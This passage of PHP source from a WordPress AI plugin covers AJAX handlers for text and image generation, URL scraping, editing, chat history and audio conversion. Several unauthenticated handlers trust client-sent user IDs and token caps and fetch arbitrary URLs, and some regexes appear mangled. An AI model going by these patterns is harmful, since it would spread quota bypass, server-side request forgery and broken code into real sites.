this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = 'Daily token count of your user account has been exceeded! Please try again tomorrow.'; wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; do_action('aiomatic_calling_forms', $input_text, $model); if($aiomaticType == 'text' || $aiomaticType == 'none') { $max_tokens = aiomatic_get_max_tokens($model); $input_text = preg_replace('##i', "\n", $input_text); $input_text = htmlspecialchars_decode($input_text, ENT_QUOTES); $input_text = stripslashes($input_text); $input_text = preg_replace('#
            ([\s\S]*?)<\/span><\/div>#i', PHP_EOL . '$1', $input_text); $input_text = preg_replace('#([\s\S]*?)<\/span>#i', '$1', $input_text); $query_token_count = count(aiomatic_encode($input_text)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $input_text, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($input_text); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $input_text = aiomatic_substr($input_text, 0, $string_len); $input_text = trim($input_text); if(empty($input_text)) { aiomatic_log_to_file('Empty API seed expression provided (after processing)'); wp_die(); } $query_token_count = count(aiomatic_encode($input_text)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $error = ''; $finish_reason = ''; if($aiomaticType == 'text') { $response_text = aiomatic_generate_text($token, $model, $input_text, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'formsText', 0, $finish_reason, $error, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); } else { $response_text = aiomatic_generate_text($token, $model, $input_text, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'shortcodeCompletion', 0, $finish_reason, $error, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); } if($response_text === false) { $aiomatic_result['msg'] = $error; wp_send_json($aiomatic_result); } else { $inp_count = count(aiomatic_encode($input_text)); $resp_count = count(aiomatic_encode($response_text)); if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + $inp_count + $resp_count; update_user_meta($user_id, 'aiomatic_used_tokens', $used_token_count); } } } elseif($aiomaticType == 'image') { $echo_ok = false; $error = ''; $image_size = '512x512'; if (isset($aiomatic_Main_Settings['ai_image_size']) && trim($aiomatic_Main_Settings['ai_image_size']) != '') { $image_size = trim($aiomatic_Main_Settings['ai_image_size']); } $image_model = 'dalle2'; $arr_response_text = aiomatic_generate_ai_image($token, 1, $input_text, $image_size, 'formsImage', false, 0, $error, $image_model); if($arr_response_text === false) { $aiomatic_result['msg'] = $error; wp_send_json($aiomatic_result); } else { foreach($arr_response_text as $tmpimg) { $response_text = $tmpimg; $echo_ok = true; } if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_image_chat_tokens', $used_token_count); } } if($echo_ok === false) { $aiomatic_result['msg'] = 'No image returned from API call: ' . $input_text; wp_send_json($aiomatic_result); } } elseif($aiomaticType == 'image-new') { $echo_ok = false; $error = ''; $image_size = '1024x1024'; if (isset($aiomatic_Main_Settings['ai_image_size']) && trim($aiomatic_Main_Settings['ai_image_size']) != '') { $image_size = trim($aiomatic_Main_Settings['ai_image_size']); } $image_model = 'dalle3'; $arr_response_text = aiomatic_generate_ai_image($token, 1, $input_text, $image_size, 'formsImage', false, 0, $error, $image_model); if($arr_response_text === false) { $aiomatic_result['msg'] = $error; wp_send_json($aiomatic_result); } else { foreach($arr_response_text as $tmpimg) { $response_text = $tmpimg; $echo_ok = true; } if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_image_chat_tokens', $used_token_count); } } if($echo_ok === false) { $aiomatic_result['msg'] = 'No image returned from API call: ' . $input_text; wp_send_json($aiomatic_result); } } elseif($aiomaticType == 'image2') { $echo_ok = false; $height = '512'; $width = '512'; if (isset($aiomatic_Main_Settings['ai_image_size']) && trim($aiomatic_Main_Settings['ai_image_size']) != '') { if(trim($aiomatic_Main_Settings['ai_image_size']) == '1024x1024') { $height = '1024'; $width = '1024'; } } $ierror = ''; $arr_response_text = aiomatic_generate_stability_image($input_text, $height, $width, 'formsStableImage', 0, true, $ierror, false, false); if($arr_response_text === false) { $aiomatic_result['msg'] = $ierror; wp_send_json($aiomatic_result); } else { $response_text = $arr_response_text; $echo_ok = true; if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_image_chat_tokens', $used_token_count); } } if($echo_ok === false) { $aiomatic_result['msg'] = 'No image returned from API call: ' . $input_text; wp_send_json($aiomatic_result); } } elseif($aiomaticType == 'image-mid') { $echo_ok = false; $height = '512'; $width = '512'; if (isset($aiomatic_Main_Settings['ai_image_size']) && trim($aiomatic_Main_Settings['ai_image_size']) != '') { if(trim($aiomatic_Main_Settings['ai_image_size']) == '1024x1024') { $height = '1024'; $width = '1024'; } elseif(trim($aiomatic_Main_Settings['ai_image_size']) == '1024x1792') { $height = '1792'; $width = '1024'; } elseif(trim($aiomatic_Main_Settings['ai_image_size']) == '1792x1024') { $height = '1024'; $width = '1792'; } } $ierror = ''; $arr_response_text = aiomatic_generate_ai_image_midjourney($input_text, $width, $height, 'formsMidjourneyImage', true, $ierror); if($arr_response_text === false) { $aiomatic_result['msg'] = $ierror; wp_send_json($aiomatic_result); } else { $response_text = $arr_response_text; $echo_ok = true; if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_image_chat_tokens', $used_token_count); } } if($echo_ok === false) { $aiomatic_result['msg'] = 'No image returned from API call: ' . $input_text; wp_send_json($aiomatic_result); } } else { $aiomatic_result['msg'] = 'Unknown request type submitted: ' . esc_html($aiomaticType); wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = esc_html($response_text); do_action('aiomatic_form_reply', $response_text); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_scrape_form_submit', 'aiomatic_scrape_form_submit'); add_action('wp_ajax_nopriv_aiomatic_scrape_form_submit', 'aiomatic_scrape_form_submit'); function aiomatic_scrape_form_submit() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with form submission'); if(!isset($_POST['scrapeurl'])) { $aiomatic_result['msg'] = 'Incomplete POST request for text scraping'; wp_send_json($aiomatic_result); } $scraped_data = ''; $scrapeurl = trim($_POST['scrapeurl']); if(filter_var($scrapeurl, FILTER_VALIDATE_URL)) { $scraped_data = aiomatic_scrape_page($scrapeurl, '0', 'auto', ''); if($scraped_data === false) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $scraped_data; } } else { $aiomatic_result['msg'] = 'Unknown URL format submitted: ' . esc_url($scrapeurl); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_edit_submit', 'aiomatic_edit_submit'); add_action('wp_ajax_nopriv_aiomatic_edit_submit', 'aiomatic_edit_submit'); function aiomatic_edit_submit() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with edit submission'); if(!isset($_POST['instruction']) || !isset($_POST['input_text']) || !isset($_POST['model']) || !isset($_POST['temp']) || !isset($_POST['top_p'])) { $aiomatic_result['msg'] = 'Incomplete POST request for text editing'; wp_send_json($aiomatic_result); } $instruction = stripslashes($_POST['instruction']); $input_text = stripslashes($_POST['input_text']); $model = sanitize_text_field($_POST['model']); $temperature = sanitize_text_field($_POST['temp']); $top_p = sanitize_text_field($_POST['top_p']); $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); $temperature = floatval($temperature); $top_p = floatval($top_p); $models = aiomatic_get_all_models(true); if(!in_array($model, $models)) { $aiomatic_result['msg'] = 'Invalid editing model provided: ' . $model; wp_send_json($aiomatic_result); } if($temperature < 0 || $temperature > 2) { $aiomatic_result['msg'] = 'Invalid temperature provided: ' . $temperature; wp_send_json($aiomatic_result); } if($top_p < 0 || $top_p > 1) { $aiomatic_result['msg'] = 'Invalid top_p provided: ' . $top_p; wp_send_json($aiomatic_result); } if(empty($instruction)) { $aiomatic_result['msg'] = 'You need to add an instruction for the text editing!'; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!'; wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_edit_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = 'Daily token count of your user account is exceeded! Please try again tomorrow.'; wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $completionmodels = $models; if(in_array($model, $completionmodels)) { if(!aiomatic_endsWith(trim($instruction), ':')) { $prompt = $instruction . ': ' . $input_text; } else { $prompt = $instruction . $input_text; } $thread_id = ''; $error = ''; $finish_reason = ''; $max_tokens = aiomatic_get_max_tokens($model); $prompt = stripslashes($prompt); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $prompt = aiomatic_substr($prompt, 0, $string_len); $prompt = trim($prompt); if(empty($prompt)) { $aiomatic_result['msg'] = 'Empty API seed expression provided (after processing)'; wp_send_json($aiomatic_result); } else { $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = $max_tokens - $query_token_count; } } $response_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $temperature, $top_p, 0, 0, false, 'shortcodeCEditor', 0, $finish_reason, $error, false, false, false, '', '', 'user', '', $thread_id, '', 'disabled', '', false); if($response_text === false) { $aiomatic_result['msg'] = $error; wp_send_json($aiomatic_result); } else { $inp_count = count(aiomatic_encode($prompt)); $resp_count = count(aiomatic_encode($response_text)); if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + $inp_count + $resp_count; update_user_meta($user_id, 'aiomatic_used_tokens', $used_token_count); } } $response_text = trim($response_text); $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $response_text; do_action('aiomatic_editor_reply', $response_text); wp_send_json($aiomatic_result); } else { $aierror = ''; $input_text = stripslashes($input_text); $instruction = stripslashes($instruction); $response_text = aiomatic_edit_text($token, $model, $instruction, $input_text, $temperature, $top_p, 'shortcodeEditor', 0, $aierror); if($response_text === false) { $aiomatic_result['msg'] = $aierror; wp_send_json($aiomatic_result); } else { $instr_count = count(aiomatic_encode($instruction)); $inp_count = count(aiomatic_encode($input_text)); $resp_count = count(aiomatic_encode($response_text)); if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + $instr_count + $inp_count + $resp_count; update_user_meta($user_id, 'aiomatic_used_edit_tokens', $used_token_count); } } $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $response_text; do_action('aiomatic_editor_reply', $response_text); wp_send_json($aiomatic_result); } die(); } add_action('wp_ajax_aiomatic_image_chat_submit', 'aiomatic_image_chat_submit'); add_action('wp_ajax_nopriv_aiomatic_image_chat_submit', 'aiomatic_image_chat_submit'); function aiomatic_image_chat_submit() { $echo_ok = false; check_ajax_referer('openai-ajax-images-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with chat submission'); if(!isset($_POST['input_text'])) { $aiomatic_result['msg'] = 'Incomplete POST request for image chat'; wp_send_json($aiomatic_result); } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); $input_text = stripslashes($_POST['input_text']); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = esc_html__('You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_image_chat_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = esc_html__('Daily token limit for your user account was exceeded! Please try again tomorrow.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $error = ''; $image_size = '512x512'; if (isset($aiomatic_Chatbot_Settings['image_chat_size']) && trim($aiomatic_Chatbot_Settings['image_chat_size']) != '') { $image_size = $aiomatic_Chatbot_Settings['image_chat_size']; } $image_chat_model = 'dalle2'; if (isset($aiomatic_Chatbot_Settings['image_chat_model']) && trim($aiomatic_Chatbot_Settings['image_chat_model']) != '') { $image_chat_model = $aiomatic_Chatbot_Settings['image_chat_model']; } $response_text = aiomatic_generate_ai_image($token, 1, $input_text, $image_size, 'shortcodeImageChat', false, 0, $error, $image_chat_model); if($response_text === false) { $aiomatic_result['msg'] = $error; wp_send_json($aiomatic_result); } else { foreach($response_text as $tmpimg) { $aiomatic_result['status'] = 'success'; if(isset($aiomatic_result['data'])) { $aiomatic_result['data'] .= ''; } else { $aiomatic_result['data'] = ''; } $echo_ok = true; } if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_image_chat_tokens', $used_token_count); } } if($echo_ok === false) { $aiomatic_result['msg'] = esc_html__('No image returned from API call: ', 'aiomatic-automatic-ai-content-writer') . $input_text; wp_send_json($aiomatic_result); } do_action('aiomatic_image_chat_reply', $aiomatic_result); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_user_meta_save', 'aiomatic_user_meta_save'); add_action('wp_ajax_nopriv_aiomatic_user_meta_save', 'aiomatic_user_meta_save'); function aiomatic_user_meta_save() { check_ajax_referer('openai-persistent-nonce', 'nonce'); if(!isset($_POST['x_input_text'])) { aiomatic_log_to_file('Failed to save persistent conversation, no x_input_text: ' . print_r($_POST, true)); wp_die(); } if(!isset($_POST['user_id'])) { aiomatic_log_to_file('Failed to save persistent conversation, no user_id: ' . print_r($_POST, true)); wp_die(); } $user_id = sanitize_text_field($_POST['user_id']); if(!isset($_POST['persistent'])) { aiomatic_log_to_file('Failed to save persistent conversation, no persistentid: ' . print_r($_POST, true)); wp_die(); } $persistent = sanitize_text_field($_POST['persistent']); if(empty($user_id) || $user_id == 0) { aiomatic_log_to_file('Failed to save persistent conversation, user_id is not valid: ' . print_r($_POST, true)); wp_die(); } if(isset($_POST['thread_id'])) { $thread_id = stripslashes($_POST['thread_id']); } else { $thread_id = ''; } if($persistent == 'vector') { $x_input_text = stripslashes($_POST['x_input_text']); if(!empty($x_input_text)) { $namespace = 'persistentchat_' . $user_id . '_' . $thread_id; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to enter an OpenAI API key for this feature to work.'); wp_die(); } if (isset($aiomatic_Main_Settings['pinecone_app_id'])) { $pinecone_app_id = $aiomatic_Main_Settings['pinecone_app_id']; } else { $pinecone_app_id = ''; } if (isset($aiomatic_Main_Settings['qdrant_app_id'])) { $qdrant_app_id = $aiomatic_Main_Settings['qdrant_app_id']; } else { $qdrant_app_id = ''; } if($pinecone_app_id == '' && $qdrant_app_id == '') { aiomatic_log_to_file('You need to enter a Pinecone.io API or a Qdrant API key for this to work'); wp_die(); } if (!isset($aiomatic_Main_Settings['embeddings_chat_short']) || trim($aiomatic_Main_Settings['embeddings_chat_short']) != 'on') { aiomatic_log_to_file('You need to enable Embeddings for the Chatbot for this to work'); wp_die(); } if (isset($aiomatic_Main_Settings['embeddings_model']) && $aiomatic_Main_Settings['embeddings_model'] != '') { $model = $aiomatic_Main_Settings['embeddings_model']; } else { $model = 'text-embedding-ada-002'; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once(dirname(__FILE__) . "/res/Embeddings.php"); $embdedding = new Aiomatic_Embeddings($token); $aiomatic_result = $embdedding->aiomatic_save_embedding($x_input_text, '', '', false, $model, $namespace); if($aiomatic_result['status'] == 'error') { aiomatic_log_to_file('Failed to save user chat log embeddings: ' . print_r($aiomatic_result, true)); wp_die(); } } } else { if(empty($thread_id)) { $x_input_text = stripslashes($_POST['x_input_text']); if(!empty($x_input_text)) { if(is_numeric($user_id)) { update_user_meta($user_id, 'aiomatic_chat_history_' . $persistent, $x_input_text); } else { set_transient('aiomatic_chat_history_' . $persistent . '_' . $user_id, $x_input_text, 0); } } } else { if(is_numeric($user_id)) { update_user_meta($user_id, 'aiomatic_assistant_history_thread', $thread_id); } else { set_transient('aiomatic_assistant_history_thread_' . $user_id, $thread_id, 0); } } } wp_die(); } add_action('wp_ajax_aiomatic_record_user_usage', 'aiomatic_record_user_usage'); add_action('wp_ajax_nopriv_aiomatic_record_user_usage', 'aiomatic_record_user_usage'); function aiomatic_record_user_usage() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); check_ajax_referer('openai-persistent-nonce', 'nonce'); if(!isset($_POST['input_text'])) { aiomatic_log_to_file('Failed to save persistent conversation, no input_text: ' . print_r($_POST, true)); wp_die(); } $input_text = stripslashes($_POST['input_text']); if(!isset($_POST['user_id'])) { aiomatic_log_to_file('Failed to save persistent conversation, no user_id: ' . print_r($_POST, true)); wp_die(); } $user_id = sanitize_text_field($_POST['user_id']); if(!isset($_POST['user_token_cap_per_day'])) { aiomatic_log_to_file('Failed to save persistent conversation, no user_token_cap_per_day: ' . print_r($_POST, true)); wp_die(); } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!isset($_POST['response_text'])) { aiomatic_log_to_file('Failed to save persistent conversation, no response_text: ' . print_r($_POST, true)); wp_die(); } $response_text = sanitize_text_field($_POST['response_text']); if(!isset($_POST['model'])) { aiomatic_log_to_file('Failed to save persistent conversation, no model: ' . print_r($_POST, true)); wp_die(); } $model = sanitize_text_field($_POST['model']); if(!isset($_POST['temp'])) { aiomatic_log_to_file('Failed to save persistent conversation, no temp: ' . print_r($_POST, true)); wp_die(); } $vision_file = ''; if(isset($_POST['vision_file'])) { $vision_file = $_POST['vision_file']; } $temperature = sanitize_text_field($_POST['temp']); $inp_count = count(aiomatic_encode($input_text)); $resp_count = count(aiomatic_encode($response_text)); if($user_token_cap_per_day != '' && is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0) { aiomatic_log_to_file('Failed to save persistent conversation, invalid user ID sent: ' . print_r($_POST, true)); } else { $used_token_count = 0; $used_token_count = get_user_meta($user_id, 'aiomatic_used_chat_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); } else { $used_token_count = 0; } $used_token_count = intval($used_token_count) + $inp_count + $resp_count; update_user_meta($user_id, 'aiomatic_used_chat_tokens', $used_token_count); } } $session = aiomatic_get_session_id(); $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $query = new Aiomatic_Query($input_text, 0, $model, $temperature, null, 'shortcodeChat', 'text', $token, $session, 1, '', ''); apply_filters( 'aiomatic_ai_reply', $response_text, $query ); if($vision_file != '') { $stats = [ "env" => $query->env, "session" => $query->session, "mode" => 'image', "model" => $query->model, "apiRef" => $query->apiKey, "units" => 1, "type" => 'images', ]; if (empty($stats["price"])) { if (aiomatic_is_aiomaticapi_key($query->apiKey)) { $stats["price"] = 0; } else { $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model); } } $GLOBALS['aiomatic_stats']->add($stats); } wp_die(); } add_action('wp_ajax_aiomatic_call_ai_function', 'aiomatic_call_ai_function'); add_action('wp_ajax_nopriv_aiomatic_call_ai_function', 'aiomatic_call_ai_function'); function aiomatic_call_ai_function() { check_ajax_referer('openai-persistent-nonce', 'nonce'); if(!isset($_POST['func_call'])) { aiomatic_log_to_file('Failed to call function, no func_call: ' . print_r($_POST, true)); wp_die(); } require_once(dirname(__FILE__) . "/aiomatic-god-mode-parser.php"); $func_call = $_POST['func_call']; $func_call = json_decode(json_encode($func_call), FALSE); $func_call = apply_filters( 'aiomatic_ai_reply_raw', $func_call, ''); if(isset($func_call->init_data) && isset($func_call->aiomatic_tool_results)) { $func_call_copy = clone $func_call; if(isset($func_call_copy->init_data)) { unset($func_call_copy->init_data); } if(isset($func_call_copy->aiomatic_tool_results)) { unset($func_call_copy->aiomatic_tool_results); } for($i = 0; $i < count($func_call->aiomatic_tool_results);$i++) { $func_call->aiomatic_tool_results[$i]['assistant_message'] = $func_call_copy; } $json_me = json_encode(array('scope' => 'response', 'data' => $func_call->aiomatic_tool_results)); echo $json_me; wp_die(); } elseif(isset($func_call->init_data) && isset($func_call->aiomatic_tool_direct_message)) { $my_message = ''; foreach($func_call->aiomatic_tool_direct_message as $dm) { $my_message .= $dm['content'] . ' '; } $my_message = trim($my_message); echo json_encode(array('scope' => 'user_message', 'data' => $my_message)); wp_die(); } else { aiomatic_log_to_file('Failed to parse result: ' . print_r($func_call, true)); } echo array('scope' => 'fail', 'data' => 'fail'); wp_die(); } add_action('wp_ajax_aiomatic_create_thread', 'aiomatic_create_thread'); add_action('wp_ajax_nopriv_aiomatic_create_thread', 'aiomatic_create_thread'); function aiomatic_create_thread() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with assistant thread creation'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $assistant_id = isset($_POST['assistantid']) ? sanitize_text_field($_POST['assistantid']) : ''; $file_data = isset($_POST['file_data']) ? sanitize_text_field($_POST['file_data']) : ''; if(empty($assistant_id)) { $aiomatic_result['msg'] = 'No assistant ID passed'; wp_send_json($aiomatic_result); wp_die(); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); wp_die(); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); wp_die(); } if(aiomatic_is_aiomaticapi_key($token)) { $aiomatic_result['msg'] = 'Currently only OpenAI API is supported for audio processing.'; wp_send_json($aiomatic_result); wp_die(); } } $assistant_first_message = ''; require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); try { $local_assistant_id = aiomatic_find_local_assistant_id($assistant_id); if($local_assistant_id === false) { $aiomatic_result['msg'] = 'Failed to find local assistant ID for: ' . $assistant_id; wp_send_json($aiomatic_result); wp_die(); } $assistant_first_message = get_post_meta($local_assistant_id, '_assistant_first_message', true); if(!empty($assistant_first_message)) { $simulate_conv = array(); $simulate_conv[] = array("role" => 'assistant', "content" => $assistant_first_message); } else { $simulate_conv = []; } $thread = aiomatic_openai_create_thread($token, $simulate_conv, $file_data); if(!isset($thread['id'])) { $aiomatic_result['msg'] = 'Invalid thread format: ' . print_r($thread, true); wp_send_json($aiomatic_result); wp_die(); } $thread_id = $thread['id']; $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $thread_id; } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception in thread creation: ' . $e->getMessage(); } wp_send_json($aiomatic_result); wp_die(); } add_action( 'wp_ajax_aiomatic_audio_converter', 'aiomatic_audio_converter' ); add_action( 'wp_ajax_nopriv_aiomatic_audio_converter', 'aiomatic_audio_converter' ); function aiomatic_audio_converter() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with audio converter'); if ( !wp_verify_nonce( $_POST['nonce'], 'openai-audio-nonce' ) ) { $aiomatic_result['msg'] = 'You are not allowed to execute this action!'; wp_send_json($aiomatic_result); } $purpose = isset($_REQUEST['audio_purpose']) && !empty($_REQUEST['audio_purpose']) ? sanitize_text_field($_REQUEST['audio_purpose']) : 'transcriptions'; $prompt = isset($_REQUEST['prompt']) && !empty($_REQUEST['prompt']) ? sanitize_text_field($_REQUEST['prompt']) : ''; $type = isset($_REQUEST['type']) && !empty($_REQUEST['type']) ? sanitize_text_field($_REQUEST['type']) : 'upload'; $url = isset($_REQUEST['url']) && !empty($_REQUEST['url']) ? sanitize_text_field($_REQUEST['url']) : ''; $model = isset($_REQUEST['model']) && !empty($_REQUEST['model']) ? sanitize_text_field($_REQUEST['model']) : 'whisper-1'; $temperature = isset($_REQUEST['temperature']) && !empty($_REQUEST['temperature']) ? sanitize_text_field($_REQUEST['temperature']) : 0; $language = isset($_REQUEST['language']) && !empty($_REQUEST['language']) ? sanitize_text_field($_REQUEST['language']) : 'en'; $mime_types = ['mp3' => 'audio/mpeg','mp4' => 'video/mp4','mpeg' => 'video/mpeg','m4a' => 'audio/m4a','wav' => 'audio/wav','webm' => 'video/webm']; if($purpose != 'transcriptions' && $purpose != 'translations') { $aiomatic_result['msg'] = 'Unknown purpose submitted.'; wp_send_json($aiomatic_result); } if($type == 'upload' && !isset($_FILES['file'])){ $aiomatic_result['msg'] = 'An audio file is mandatory.'; wp_send_json($aiomatic_result); } if($type == 'record' && !isset($_FILES['recorded_audio'])){ $aiomatic_result['msg'] = 'An audio recording is mandatory.'; wp_send_json($aiomatic_result); } if($type == 'upload'){ $file = $_FILES['file']; $file_name = sanitize_file_name(basename($file['name'])); $filetype = wp_check_filetype($file_name); if(!in_array($filetype['type'], $mime_types)){ $aiomatic_result['msg'] = 'We only accept mp3, mp4, mpeg, mpga, m4a, wav, or webm.'; wp_send_json($aiomatic_result); } if($file['size'] > 26214400){ $aiomatic_result['msg'] = 'Audio file maximum 25MB'; wp_send_json($aiomatic_result); } } if($type == 'record'){ $file = $_FILES['recorded_audio']; $file_name = sanitize_file_name(basename($file['name'])); $filetype = wp_check_filetype($file_name); if(!in_array($filetype['type'], $mime_types)){ $aiomatic_result['msg'] = 'We only accept mp3, mp4, mpeg, mpga, m4a, wav, or webm.'; wp_send_json($aiomatic_result); } if($file['size'] > 26214400){ $aiomatic_result['msg'] = 'Audio file maximum 25MB'; wp_send_json($aiomatic_result); } $tmp_file = $file['tmp_name']; } if($type == 'url'){ if(empty($url)){ $aiomatic_result['msg'] = 'The audio URL is required'; wp_send_json($aiomatic_result); } $remoteFile = get_headers($url, 1); $file_name = basename($url); $is_in_mime_types = false; $file_ext = ''; foreach($mime_types as $key=>$mime_type){ if((is_array($remoteFile['Content-Type']) && in_array($mime_type,$remoteFile['Content-Type'])) || strpos($remoteFile['Content-Type'], $mime_type) !== false){ $is_in_mime_types = true; $file_ext = '.'.$key; break; } } if(!$is_in_mime_types){ $aiomatic_result['msg'] = 'We only accept mp3, mp4, mpeg, mpga, m4a, wav, or webm.'; wp_send_json($aiomatic_result); } if(strpos($file_name, $file_ext) === false){ $file_name = md5(uniqid() . time()) . $file_ext; } if($remoteFile['Content-Length'] > 26214400){ $aiomatic_result['msg'] = 'Audio file maximum 25MB'; wp_send_json($aiomatic_result); } } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if 